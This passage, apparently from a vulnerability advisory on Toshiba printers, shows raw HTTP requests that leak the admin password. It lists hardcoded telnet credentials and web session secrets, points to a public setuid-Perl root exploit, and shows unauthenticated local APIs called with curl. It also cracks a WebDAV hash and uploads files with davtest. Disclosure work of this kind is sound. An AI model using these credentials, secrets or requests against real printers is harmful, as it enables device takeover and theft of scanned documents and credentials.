Pragma: no-cache
Content-Type: text/plain; charset=utf-8
csrfpId: 10.0.0.2.a89baa941c3bbdafcee7e9349daca6af
Content-Length: 120
Origin: http://10.0.0.1:8080
Connection: close
Referer: http://10.0.0.1:8080/usermanagement/userconfirm/UserList.html?v=1670282309ta&PAGENO=1
Cookie: Session=10.0.0.2.a89baa941c3bbdafcee7e9349daca6af; Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DDEVICE; IgnoreSessionTimeout=1
<DeviceInformationModel><GetValue><TopAccess><SessionInfo></SessionInfo></TopAccess></GetValue></DeviceInformationModel>
Second HTTP request:
POST /contentwebserver HTTP/1.1
Host: 10.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/plain; charset=utf-8
csrfpId: 10.0.0.2.a89baa941c3bbdafcee7e9349daca6af
Content-Length: 652
Origin: http://10.0.0.1:8080
Connection: close
Referer: http://10.0.0.1:8080/usermanagement/userconfirm/UserList.html?v=1670282309ta&PAGENO=1
Cookie: Session=10.0.0.2.a89baa941c3bbdafcee7e9349daca6af; Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DDEVICE; IgnoreSessionTimeout=1
<DeviceInformationModel><GetValue><UserManager><Users/></UserManager></GetValue><GetValue><Authentication><UserCredential></UserCredential><AuthenticationSettings></AuthenticationSettings></Authentication></GetValue><SetValue><UserManager><Users maxPage='' pageNo='1' pageSize='100' totalUsers=''></Users></UserManager></SetValue><Command><GetUsers><commandNode>UserManager/Users</commandNode><Params><userDetails contentType='XPath'>UserManager</userDetails><cmdDetails>FEW</cmdDetails></Params></GetUsers></Command><Command><GetSettings><commandNode>Authentication/AuthenticationSettings</commandNode></GetSettings></Command></DeviceInformationModel>
The answer for the second request will contain several passwords in clear-text, including the password of the admin user (123456
):
HTTP/1.1 200 OK
Date: Mon, 10 Apr 2023 11:17:34 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=63072000
Accept-Language: en-US,en;q=0.5
Connection: close
Content-Type: text/xml
Content-Length: 18489
[...]
<attrNameForUser ID="16"/>
<atrNameForCardID ID="16"/>
<attrNameForCardRevision ID="16"/>
<attrNameForServerName ID="16"/>
<passwordForCardRegistration>[REDACTED]</passwordForCardRegistration>
<skipRegistrationForCardAuth>false</skipRegistrationForCardAuth>
<autoRegistrationForCardAuth>false</autoRegistrationForCardAuth>
[...]
<UserCredential>
<userName>admin</userName>
<passwd>123456</passwd>
<ipaddress>10.0.0.2</ipaddress>
<DepartmentManagement isEnable="false">
<requireDepartment/>
</DepartmentManagement>
[...]
An attacker can retrieve the password of the admin user by using a XSS vulnerability or by stealing the cookie.
It was observed that all the Toshiba printers contain hardcoded telnet credentials (Admin/System):
Content of the telnet.conf
and telnet.conf.bak
files:
bash-4.1# ls -la /encryption/al/network/config/telnet.conf.bak
-rw-r--r-- 1 root root 41 Mar 15 11:50 /encryption/al/network/config/telnet.conf.bak
bash-4.1# ls -la /encryption/al/network/config/telnet.conf
-rw-r--r-- 1 root root 41 Mar 15 11:50 /encryption/al/network/config/telnet.conf
bash-4.1# cat /encryption/al/network/config/telnet.conf
cat /encryption/al/network/config/telnet.conf
PortNo=23
PassWord=System
UserName=Admin
bash-4.1# cat /encryption/al/network/config/telnet.conf.bak
cat /encryption/al/network/config/telnet.conf.bak
PortNo=23
PassWord=System
UserName=Admin
bash-4.1#
The telnet daemon can be enabled in the configuration file /home/SYSROM_SRC/NoBuildItems/AL/Network/nsm.xml
, likely used by the alnsm program running as root.
Content of /home/SYSROM_SRC/NoBuildItems/AL/Network/nsm.xml
:
[...]
785 <NMO>
786 <name>Telnet</name>
787 <configFile>telnet.conf</configFile>
788 <startCmd runBackground="1">$EB2/bin/networkservice/telnet start</startCmd>
789 <stopCmd>$EB2/bin/networkservice/telnet stop</stopCmd>
790 <reloadCmd>$EB2/bin/networkservice/telnet restart</reloadCmd>
791 <statusCmd>$EB2/bin/networkservice/telnet status</statusCmd>
792 <serviceXpath>Services/Telnet</serviceXpath>
793 <connectSSM>0</connectSSM>
794 <startOrder>32</startOrder>
795 <dependents></dependents>
796 <TranslationMap>
797 <Map>
798 <iniXpath>UserName</iniXpath>
799 <xpath>Username</xpath>
800 </Map>
801 <Map>
802 <iniXpath>PassWord</iniXpath>
803 <xpath>Password</xpath>
804 </Map>
805 <Map>
806 <iniXpath>PortNo</iniXpath>
807 <xpath>Port</xpath>
808 </Map>
809 </TranslationMap>
810 </NMO>
[...]
While the telnet server is not enabled by default, an attacker can login to the printer and get administrative privileges if the telnet server is enabled.
It was observed that all the Toshiba printers contain a suidperl binary located at /usr/bin/sperl5.10.1-17:
Perl 5.10.x dates from December 2007 and the suidperl binary at /usr/bin/sperl5.10.1-17 is vulnerable to a Local Privilege Escalation vulnerability. PROCSUID is an exploit developed by the NSA for this vulnerability and was made public in 2016.
The exploit is available at https://github.com/x0rz/EQGRP/blob/master/Linux/up/procsuids.sh.WITHCOMMENTS.
bash-4.1# ls -la /usr/bin/sperl5.10.1-17
-rws--x--x 1 root root 74988 Mar 15 11:42 /usr/bin/sperl5.10.1-17
bash-4.1# /usr/bin/sperl5.10.1-17 --help
Usage: /usr/bin/sperl5.10.1-17 [switches] [--] [programfile] [arguments]
-0[octal] specify record separator (\0, if no argument)
-a autosplit mode with -n or -p (splits $_ into @F)
-C[number/list] enables the listed Unicode features
-c check syntax only (runs BEGIN and CHECK blocks)
-d[:debugger] run program under debugger
-D[number/list] set debugging flags (argument is a bit mask or alphabets)
-e program one line of program (several -e's allowed, omit programfile)
-E program like -e, but enables all optional features
-f don't do $sitelib/sitecustomize.pl at startup
-F/pattern/ split() pattern for -a switch (//'s are optional)
-i[extension] edit <> files in place (makes backup if extension supplied)
-Idirectory specify @INC/#include directory (several -I's allowed)
-l[octal] enable line ending processing, specifies line terminator
-[mM][-]module execute "use/no module..." before executing program
-n assume "while (<>) { ... }" loop around program
-p assume loop like -n but print line also, like sed
-P run program through C preprocessor before compilation
-s enable rudimentary parsing for switches after programfile
-S look for programfile using PATH environment variable
-t enable tainting warnings
-T enable tainting checks
-u dump core after parsing program
-U allow unsafe operations
-v print version, subversion (includes VERY IMPORTANT perl info)
-V[:variable] print configuration summary (or a single Config.pm variable)
-w enable many useful warnings (RECOMMENDED)
-W enable all warnings
-x[directory] strip off text before #!perl line and perhaps cd to directory
-X disable all warnings
bash-4.1#
A local attacker can get root privileges.
It was observed that all the Toshiba printers contain coredump binaries in /work/log/platform/syscallerr/gdb_backtraces
. These files have incorrect permissions; any local attacker can read and/or modify these files. These files contain the memory dump when the programs crashed and contain sensitive files (scanned files, printed files, and clear-text credentials):
Content of /work/log/platform/syscallerr/gdb_backtraces
:
bash-4.1# ls -la /work/log/platform/syscallerr/gdb_backtraces/
total 176
drwxrwxrwx 2 root root 4096 Apr 11 19:48 .
drwxrwxrwx 3 root root 4096 Apr 6 2016 ..
-rwxrwxrwx 1 root root 34651 Mar 23 20:27 core.alhp9100.4104.MFP14130119.1679583349_backtrace
-rwxrwxrwx 1 root root 2440 Mar 23 20:27 core.alipp.4825.MFP14130119.1679583369_backtrace
-rwxrwxrwx 1 root root 1007 Mar 23 20:26 core.bash.17184.MFP14130119.1679583274_backtrace
-rwxrwxrwx 1 root root 1729 Mar 23 20:26 core.curl.17593.MFP14130119.1679583273_backtrace
-rwxrwxrwx 1 root root 679 Mar 23 20:27 core.dibbler-client.3219.MFP14130119.1679583329_backtrace
-rwxrwxrwx 1 root root 1554 Mar 23 20:27 core.httpd.17263.MFP14130119.1679583348_backtrace
-rwxrwxrwx 1 root root 1514 Mar 23 20:27 core.httpd.17339.MFP14130119.1679583357_backtrace
-rwxrwxrwx 1 root root 3099 Mar 23 20:27 core.httpd.5108.MFP14130119.1679583307_backtrace
-rwxrwxrwx 1 root root 1140 Mar 23 20:27 core.httpd.5119.MFP14130119.1679583308_backtrace
-rwxrwxrwx 1 root root 1140 Mar 23 20:27 core.httpd.5120.MFP14130119.1679583310_backtrace
-rwxrwxrwx 1 root root 1302 Mar 23 20:27 core.httpd.5121.MFP14130119.1679583304_backtrace
-rwxrwxrwx 1 root root 1513 Mar 23 20:27 core.httpd.5122.MFP14130119.1679583374_backtrace
-rwxrwxrwx 1 root root 1513 Mar 23 20:27 core.httpd.5124.MFP14130119.1679583309_backtrace
-rwxrwxrwx 1 root root 1513 Mar 23 20:27 core.httpd.5126.MFP14130119.1679583330_backtrace
-rwxrwxrwx 1 root root 1513 Mar 23 20:27 core.httpd.5127.MFP14130119.1679583372_backtrace
-rwxrwxrwx 1 root root 1140 Mar 23 20:27 core.httpd.5128.MFP14130119.1679583306_backtrace
-rwxrwxrwx 1 root root 24384 Apr 11 19:48 core.httpd_worker.8272.MFP14130119.1681135080_backtrace
-rwxrwxrwx 1 root root 17882 Mar 23 20:27 core.mapper.1572.MFP14130119.1679583311_backtrace
-rwxrwxrwx 1 root root 1673 Mar 23 20:27 core.nqcs.4048.MFP14130119.1679583366_backtrace
-rwxrwxrwx 1 root root 1025 Mar 23 20:27 core.sendmail.3868.MFP14130119.1679583366_backtrace
-rwxrwxrwx 1 root root 1226 Mar 23 20:26 core.sh.17183.MFP14130119.1679583274_backtrace
-rwxrwxrwx 1 root root 1080 Mar 23 20:27 core.slpd.4475.MFP14130119.1679583369_backtrace
-rwxrwxrwx 1 root root 5025 Mar 23 20:26 core.snmpd.4229.MFP14130119.1679583274_backtrace
-rwxrwxrwx 1 root root 1068 Mar 23 20:27 core.vsftpd.4033.MFP14130119.1679583366_backtrace
bash-4.1#
A local attacker can steal confidential information.
It was observed that all the Toshiba printers use Sendmail to send emails to recipients.
Sendmail is used with several insecure directories:
/work/ci/tmp
to store temporary configuration files for Sendmail, this directory has dangerous permissions (777), as shown below in the logs of Sendmail./var/spool/clientmqueue
to store emails, this directory has dangerous permissions, as shown below in the logs of Sendmail.Content of /ramdisk/al/network/log/maillog
:
2023-04-14T19:59:58.973687+12:00 localhost faxmilter[4069]: call the smfi_main function
2023-04-14T21:07:31.005288+12:00 localhost sendmail[10814]: /work/ci/tmp/Config5564fde0-02e5-4e85-a5ff-0937a7de150a.cf: WARNING: dangerous write permissions
2023-04-14T21:07:31.035657+12:00 localhost sendmail[10814]: dangerous permissions=40777 on queue directory /var/spool/clientmqueue/
2023-04-14T21:07:31.140713+12:00 localhost sendmail[10814]: 12A91D0a561921: from=test@test-smtp.org, size=312413, class=0, nrcpts=1, msgid=<TTEC89704647-f3b3-4f31-b9c5-348f90ae72f8@hostname>, relay=root@localhost
A local attacker can inject a malicious Sendmail configuration file and get Remote Code Execution as root.
A local attacker can inject a malicious scanned file.
A local attacker can steal confidential information.
It was observed that all the Toshiba printers use Python programs running as WSGI applications to provide dynamic web APIs. These APIs provide, for example, remote administration to the printers.
It appears that some hardcoded keys are used for authentication within Pyramid. Knowing these private keys may allow attackers to bypass authentication and reach administrative interfaces:
Hardcoded keys:
/home/SYSROM_SRC/build/release/webframework/settingapp/development.ini:session.secret = Ecp2FBapEeWjWwAMKRj
/home/SYSROM_SRC/build/release/webframework/homeapp/development.ini:session.secret = RkoKjLoUEeWkjwAMKRj
/home/SYSROM_SRC/build/release/framework/webserverapp/development.ini:session.secret = ZV2ViU2VydmVyQXBwZ
/home/SYSROM_SRC/build/release/framework/settingapp/development.ini:session.secret = Ecp2FBapEeWjWwAMKRj
/home/SYSROM_SRC/build/release/framework/settingapp/development_sapp.ini:session.secret = Ecp2FBapEeWjWwAMKRj
/home/SYSROM_SRC/build/release/framework/homeapp/development.ini:session.secret = RkoKjLoUEeWkjwAMKRj
/application/webframework/settingapp/development.ini:session.secret = Ecp2FBapEeWjWwAMKRj
/application/webframework/homeapp/development.ini:session.secret = RkoKjLoUEeWkjwAMKRj
/application/framework/webserverapp/development.ini:session.secret = ZV2ViU2VydmVyQXBwZ
/application/framework/settingapp/development.ini:session.secret = Ecp2FBapEeWjWwAMKRj
/application/framework/settingapp/development_sapp.ini:session.secret = Ecp2FBapEeWjWwAMKRj
/application/framework/homeapp/development.ini:session.secret = RkoKjLoUEeWkjwAMKRj
Such apps are directly reachable due to the use of Apache as a reverse proxy.
For example, to reach the SettingApp, it is possible to send HTTP request to /aplpx/
:
Content of /encryption/al/network/config/httpd.conf
:
[...]
1146 ProxyPass /aplpx/ http://localhost:50184/
1147 ProxyPassReverse /aplpx/ http://localhost:50184/
[...]
A remote attacker can bypass authentication in remote applications.
It was observed that all the Toshiba printers use Python programs running as WSGI applications to provide dynamic web APIs. These APIs provide, for example, remote administration to the printers.
One of these applications is the WebPanel, binding to the localhost interface on port 50180/tcp. This program provides API without authentication. A local attacker can change the configuration of the printer without authentication by reaching these routes located inside /devicecontrol
:
Content of /registration/al/WebPanel/wpserver/screenfacade/devicecontrol/__init__.py
:
1 #! /usr/bin/env python 2 # -*- coding: utf-8 -*- 3 import logging 4 5 from pyramid.config import Configurator 6 7 log = logging.getLogger("wpserver") 8 9 10 def includeme(config): 11 log.info("includeme:ENTER") 12 config.add_route('init_powercontrol', 'initPowerControl') 13 config.add_route('powercontrol_mode', 'PowercontrolMode') 14 config.add_route('turn_on_led', 'turnOnLED') 15 config.add_route('turn_off_led', 'turnOffLED') 16 config.add_route('invoke_screen', 'invokeScreen', xhr=True) 17 config.add_route('invoke_popup_window', 'invokePopupWindow', xhr=True) 18 config.add_route('invoke_auth_popup_window', 'invokeAuthPopupWindow', xhr=True) 19 config.add_route('invoke_auth_popupwindowwith_permissions', 'invokeAuthPopupWindowWithPermissions', xhr=True) 20 config.add_route('start_rotatepolygon', 'startRotatePolygon') 21 config.add_route('start_fuserheating', 'startFuserHeating') 22 config.add_route('start_fuserheating_rotatepolygon', 'startFuserHeatingRotatePolygon') 23 config.add_route('invoke_popup_screen', 'invokePopupScreen', xhr=True) 24 config.add_route('invoke_drawer_window', 'invokeDrawerWindow', xhr=True) 25 config.add_route('blink_led', 'blinkLED') 26 config.add_route('get_device_running_status', 'getDeviceRunningStatus', xhr=True) 27 config.add_route('get_drawer_information', 'getDrawerInformation', xhr=True) 28 config.add_route('lock_keys_withid', 'lockKeysWithID', xhr=True) 29 config.add_route('unlock_keys_withid', 'unLockKeysWithID', xhr=True) 30 config.add_route('show_sharedhome_window', 'showSharedHomeWindow', xhr=True) 31 log.info("includeme:EXIT") 32 33 34 def main(global_config, **settings): 35 """ This function returns a Pyramid WSGI application. 36 """ 37 log.info("main:ENTER") 38 config = Configurator(settings=settings) 39 config.include(includeme, route_prefix='/devicecontrol') 40 config.add_static_view('static', 'prototype', cache_max_age=3600) 41 config.scan('devicecontrol') 42 log.info("main:EXIT") 43 return config.make_wsgi_app()
246 routes are defined in Python scripts inside the WebPanel, listening on port 50180, without authentication:
API access without authentication:
./wpserver/eventmanagement/__init__.py: config.add_route('sse_event_start', 'sseEventStart')
./wpserver/eventmanagement/__init__.py: config.add_route('sse_event_stop', 'sseEventStop')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('user_login_required', 'userLoginRequired', xhr=True)
./wpserver/screenfacade/authentication/__init__.py: config.add_route('authenticate_user', 'authenticateUser', xhr=True)
./wpserver/screenfacade/authentication/__init__.py: config.add_route('async_Authenticate_Check', 'asyncAuthenticateCheck', xhr=True)
./wpserver/screenfacade/authentication/__init__.py: config.add_route('change_user_password', 'changePassword', xhr=True)
./wpserver/screenfacade/authentication/__init__.py: config.add_route('user_log_out', 'userLogOut', xhr=True)
./wpserver/screenfacade/authentication/__init__.py: config.add_route('set_dept_code', 'setDeptCode')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('get_diagnostic_code', 'getDiagnosticCode')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('register_user', 'registerUser')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('login_by_pincode', 'loginByPinCode')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('login_by_pincode_external', 'loginByPinCodeExternal')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('login_by_cardid', 'loginByCardId')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('login_by_cardid_external', 'loginByCardIdExternal')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('login_by_card_pincode', 'loginByCardIdAndPinCode')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('login_by_card_pin_external', 'loginByCardIdAndPinExternal')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('project_management_setting', 'projectManagementSetting')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('project_management_operations', 'projectOperations')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('card_swipe_event_subscribe', 'CardSwipeEventSubscribe')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('card_swipe_event_unsubscribe', 'CardSwipeEventUnsubscribe')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('job_status_blink_event_subscribe', 'JobStatusBlinkEventSubscribe')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('job_status_blink_event_unsubscribe', 'JobStatusBlinkEventUnsubscribe')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('set_pin_code', 'setPinCode')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('set_swipe_event', 'setSwipeEvent')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('set_remote_scan', 'setRemoteScan')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('validate_credential', 'validateCredential')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('authenticate_by_smtp_ldap', 'authenticateBySmtporLdap')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('validate_temp_login_admin', 'validateTempLoginAdmin', xhr=True)
./wpserver/screenfacade/authentication/__init__.py: config.add_route('get_display_settings', 'getDisplaySettings', xhr=True)
./wpserver/screenfacade/authentication/__init__.py: config.add_route('after_login_success_checks', 'afterLoginSuccessChecks', xhr=True)
./wpserver/screenfacade/basepanel/__init__.py: config.add_route('set_inactive_mode', 'setInactiveMode', xhr=True)
./wpserver/screenfacade/basepanel/__init__.py: config.add_route('set_active_mode', 'setActiveMode', xhr=True)
./wpserver/screenfacade/basepanel/__init__.py: config.add_route('init_department_code', 'initDepartmentCode', xhr=True)
./wpserver/screenfacade/basepanel/__init__.py: config.add_route('get_current_language', 'getCurrentLanguage', xhr=True)
./wpserver/screenfacade/basepanel/__init__.py: config.add_route('update_paramters_for_coincontroller', 'updateCoinControllerParameters', xhr=True)
./wpserver/screenfacade/basepanel/__init__.py: config.add_route('pause_auto_clear_timer', 'pauseAutoClearTimer', xhr=True)
./wpserver/screenfacade/basepanel/__init__.py: config.add_route('resume_auto_clear_timer', 'resumeAutoClearTimer', xhr=True)
./wpserver/screenfacade/basepanel/__init__.py: config.add_route('control_power_key', 'controlPowerKey', xhr=True)
./wpserver/screenfacade/jobstatus/__init__.py: config.add_route('init_jobstatus', 'initJobstatus', xhr=True)
./wpserver/screenfacade/jobstatus/__init__.py: config.add_route('get_log_auth','getLogAuthentication')
./wpserver/screenfacade/jobstatus/__init__.py: config.add_route('get_suspended_job_details', 'getSuspendedJobDetails', xhr=True)
./wpserver/screenfacade/jobstatus/__init__.py: config.add_route('re_init_jobstatus', 'reInitJobstatus', xhr=True)
./wpserver/screenfacade/jobstatus/__init__.py: config.add_route('get_sync_mode','getSyncMode')
./wpserver/screenfacade/jobstatus/__init__.py: config.add_route('init_jobstatus_jobs', 'initJobStatusJobs', xhr=True)
./wpserver/screenfacade/jobstatus/__init__.py: config.add_route('get_count_wfid', 'getTotalJobs', xhr=True)
./wpserver/screenfacade/jobstatus/__init__.py: config.add_route('get_print_job', 'getPrintJobList', xhr=True)
./wpserver/screenfacade/jobstatus/__init__.py: config.add_route('update_print_parameter','updateSuspendedJobData')
./wpserver/screenfacade/jobstatus/__init__.py: config.add_route('jobs_start_hard_key','jobsStartHardKey')
./wpserver/screenfacade/jobstatus/__init__.py: config.add_route('get_scan_job', 'getScanJobList', xhr=True)
./wpserver/screenfacade/jobstatus/__init__.py: config.add_route('init_fax_jobs', 'initFaxJobs', xhr=True)
./wpserver/screenfacade/jobstatus/__init__.py: config.add_route('get_fax_job', 'getFaxJobList', xhr=True)
./wpserver/screenfacade/jobstatus/__init__.py: config.add_route('init_jobstatus_logs', 'initJobStatusLogs', xhr=True)
[...]
These routes are used for internal communications from localhost without authentication.
Content of /work/log/al/httpd_wsgi_access.log
:
127.0.0.1 - - [25/Apr/2023:13:17:38 +0530] "GET /wpserver/devicecontrol/turnOffLED?key=FunctionClear HTTP/1.1" 200 2
127.0.0.1 - - [25/Apr/2023:13:18:26 +0530] "GET /wpserver/home/getLoginData?_=1682332768396 HTTP/1.1" 200 1289
127.0.0.1 - - [25/Apr/2023:13:18:26 +0530] "GET /wpserver/statusbar/statusBarEventUnsubscribe?_=1682332768397 HTTP/1.1" 200 2
127.0.0.1 - - [25/Apr/2023:13:18:26 +0530] "GET /wpserver/statusbar/statusBarEventSubscribe?_=1682332768398 HTTP/1.1" 200 2
127.0.0.1 - - [25/Apr/2023:13:18:27 +0530] "GET /wpserver/home/initHomeScreen?defaultMenu=undefined&_=1682332768399 HTTP/1.1" 200 9648
127.0.0.1 - - [25/Apr/2023:13:18:27 +0530] "GET /wpserver/home/getRemainingTiles?userType=Public&selectedTileSize=large&_=1682332768400 HTTP/1.1" 200 16
127.0.0.1 - - [25/Apr/2023:13:18:27 +0530] "GET /wpserver/devicecontrol/turnOnLED?key=Start HTTP/1.1" 200 2
127.0.0.1 - - [25/Apr/2023:13:18:27 +0530] "GET /wpserver/devicecontrol/turnOffLED?key=FunctionClear HTTP/1.1" 200 2
127.0.0.1 - - [25/Apr/2023:13:19:12 +0530] "GET /wpserver/devicecontrol/invokeScreen?screen=JobStatus&_=1682332768401 HTTP/1.1" 200 2
127.0.0.1 - - [25/Apr/2023:13:20:01 +0530] "GET /wpserver/home/getLoginData?_=1682332768402 HTTP/1.1" 200 1444
127.0.0.1 - - [25/Apr/2023:13:20:02 +0530] "GET /wpserver/statusbar/statusBarEventUnsubscribe?_=1682332768403 HTTP/1.1" 200 2
127.0.0.1 - - [25/Apr/2023:13:20:02 +0530] "GET /wpserver/statusbar/statusBarEventSubscribe?_=1682332768404 HTTP/1.1" 200 2
127.0.0.1 - - [25/Apr/2023:13:20:02 +0530] "GET /wpserver/home/initHomeScreen?defaultMenu=undefined&_=1682332768405 HTTP/1.1" 200 9648
127.0.0.1 - - [25/Apr/2023:13:20:03 +0530] "GET /wpserver/home/getRemainingTiles?userType=Public&selectedTileSize=large&_=1682332768406 HTTP/1.1" 200 16
127.0.0.1 - - [25/Apr/2023:13:20:03 +0530] "GET /wpserver/devicecontrol/turnOnLED?key=Start HTTP/1.1" 200 2
127.0.0.1 - - [25/Apr/2023:13:20:03 +0530] "GET /wpserver/devicecontrol/turnOffLED?key=FunctionClear HTTP/1.1" 200 2
127.0.0.1 - - [25/Apr/2023:13:52:03 +0530] "GET /wpserver/devicecontrol/invokeScreen?screen=JobStatus&_=1682332768407 HTTP/1.1" 200 2
127.0.0.1 - - [25/Apr/2023:13:52:30 +0530] "GET /wpserver/print/initPrintJob?_=1682332768408 HTTP/1.1" 200 1398
127.0.0.1 - - [25/Apr/2023:13:52:30 +0530] "GET /wpserver/devicecontrol/turnOffLED?key=Start HTTP/1.1" 200 2
For example, a local attacker can reach these APIs without authentication:
bash-4.1# curl "http://127.0.0.1:50180/wpserver/devicecontrol/turnOffLED?key=FunctionClear"
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2 100 2 0 0 2 0 0:00:01 --:--:-- 0:00:01 166
OK
A local attacker can bypass authentication in applications, providing administrative access.
It was observed that all the Toshiba printers contain credentials used for WebDAV access in the world-readable file /home/SYSROM_SRC/data/passwords
:
bash-4.1# ls -la /home/SYSROM_SRC/data/passwords
-rw-rw-rw- 1 root trusted 42 Jan 18 2022 /home/SYSROM_SRC/data/passwords
bash-4.1# cat /home/SYSROM_SRC/data/passwords
EBX:$apr1$wQYd9W5O$wDKvnN4Ij34hwvTiohAka.
It is possible to crack this hash with John:
kali% john passwd.toshiba Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long" Use the "--format=md5crypt-long" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3]) Will run 8 OpenMP threads Proceeding with single, rules:Single Press 'q' or Ctrl-C to abort, almost any other key for status Almost done: Processing the remaining buffered candidate passwords, if any. Proceeding with wordlist:/usr/share/john/password.lst toshiba (EBX) 1g 0:00:00:00 DONE 2/3 (2023-03-09 09:22) 11.11g/s 36022p/s 36022c/s 36022C/s keller..karla Use the "--show" option to display all of the cracked passwords reliably Session completed. kali%
Then, for firmware versions released by 2020, it is possible to get a full access with WebDAV to the printer.
Such access was successfully done against printers running the firmware versions T373HD0W1054, T410HD0W1073, TB01HD0W1610 and TG01HD0W1610:
kali% davtest -url http://10.0.0.1:8080/storage/box/ITUTBoxes
********************************************************
Testing DAV connection
OPEN FAIL: http://10.0.0.1:8080/storage/box/ITUTBoxes Server response: 405 Method Not Allowed
kali% davtest -url http://EBX:toshiba@10.0.0.1:8080/storage/box/ITUTBoxes
********************************************************
Testing DAV connection
OPEN FAIL: http://EBX:toshiba@10.0.0.1:8080/storage/box/ITUTBoxes Server response: 405 Method Not Allowed
kali% davtest -url http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/
********************************************************
Testing DAV connection
OPEN SUCCEED: http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes
********************************************************
NOTE Random string for this session: SIX4x_ZkORvv
********************************************************
Creating directory
MKCOL SUCCEED: Created http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv
********************************************************
Sending test files
PUT aspx SUCCEED: http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.aspx
PUT asp SUCCEED: http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.asp
PUT jhtml SUCCEED: http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.jhtml
PUT txt SUCCEED: http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.txt
PUT cfm SUCCEED: http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.cfm
PUT pl SUCCEED: http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.pl
PUT shtml SUCCEED: http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.shtml
PUT php SUCCEED: http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.php
PUT jsp SUCCEED: http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.jsp
PUT cgi SUCCEED: http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.cgi
PUT html SUCCEED: http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.html
********************************************************
Checking for test file execution
EXEC aspx FAIL
EXEC asp FAIL
EXEC jhtml FAIL
EXEC txt SUCCEED: http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.txt
EXEC txt FAIL
EXEC cfm FAIL
EXEC pl FAIL
EXEC shtml FAIL
EXEC php FAIL
EXEC jsp FAIL
EXEC cgi FAIL
EXEC html SUCCEED: http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.html
EXEC html FAIL
********************************************************
/usr/bin/davtest Summary:
Created: http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv
PUT File: http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.aspx
PUT File: http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.asp
PUT File: http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.jhtml
PUT File: http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.txt
PUT File: http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.cfm
PUT File: http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.pl
PUT File: http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.shtml
PUT File: http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.php
